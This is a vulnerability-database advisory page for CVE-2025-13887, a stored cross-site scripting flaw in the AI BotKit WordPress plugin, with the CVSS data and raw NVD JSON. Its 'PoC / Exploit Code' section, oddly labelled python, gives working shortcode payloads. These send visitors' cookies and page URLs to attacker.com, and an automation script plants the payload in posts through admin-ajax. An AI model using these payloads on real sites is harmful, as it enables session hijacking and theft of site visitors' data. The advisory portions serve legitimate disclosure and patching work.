Security Vulnerability Report
中文
CVE-2025-13887 CVSS 6.4 MEDIUM

CVE-2025-13887

Published: 2026-01-07 12:16:51
Last Modified: 2026-04-15 00:35:42

Description

The AI BotKit – AI Chatbot & Live Support for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' parameter in the `ai_botkit_widget` shortcode in all versions up to, and including, 1.1.7 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

AI BotKit for WordPress ≤ 1.1.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- WordPress AI BotKit Stored XSS PoC --> <!-- Author: Contributor+ role required --> <!-- Method 1: Via WordPress Post/Page Editor --> [ai_botkit_widget id='"><script>alert('XSS - Cookie: '+document.cookie)</script>'] <!-- Method 2: More Obfuscated Version --> [ai_botkit_widget id='"><img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>'] <!-- Method 3: Session Hijacking Payload --> [ai_botkit_widget id='"><script>document.location='https://attacker.com/log?cookie='+document.cookie</script>'] <!-- Exploit Automation Script --> <script> // Auto-exploit for WordPress with AI BotKit plugin const xssPayload = "'><script>fetch('https://attacker.com/steal?data='+btoa(JSON.stringify({cookie: document.cookie, url: location.href})))</script>"; // Simulate adding shortcode to post fetch('/wp-admin/admin-ajax.php', { method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: 'action=editpost&post_ID=1&content=[ai_botkit_widget id="'+xssPayload+'"]&_wpnonce='+document.querySelector('#_wpnonce').value }); </script>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13887", "sourceIdentifier": "[email protected]", "published": "2026-01-07T12:16:50.737", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The AI BotKit – AI Chatbot & Live Support for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' parameter in the `ai_botkit_widget` shortcode in all versions up to, and including, 1.1.7 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin de WordPress AI BotKit – AI Chatbot &amp; Live Support for WordPress es vulnerable a cross-site scripting almacenado a través del parámetro 'id' en el shortcode `ai_botkit_widget` en todas las versiones hasta la 1.1.7, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes. Esto hace posible que atacantes autenticados, con acceso de nivel Colaborador y superior, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/ai-botkit-for-lead-generation/tags/1.1.7/includes/public/class-shortcode-handler.php#L42", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ai-botkit-for-lead-generation/trunk/includes/public/class-shortcode-handler.php#L42", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3433410/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5659af1d-f248-46ff-b282-ef5397222d8d?source=cve", "source": "[email protected]"}]}}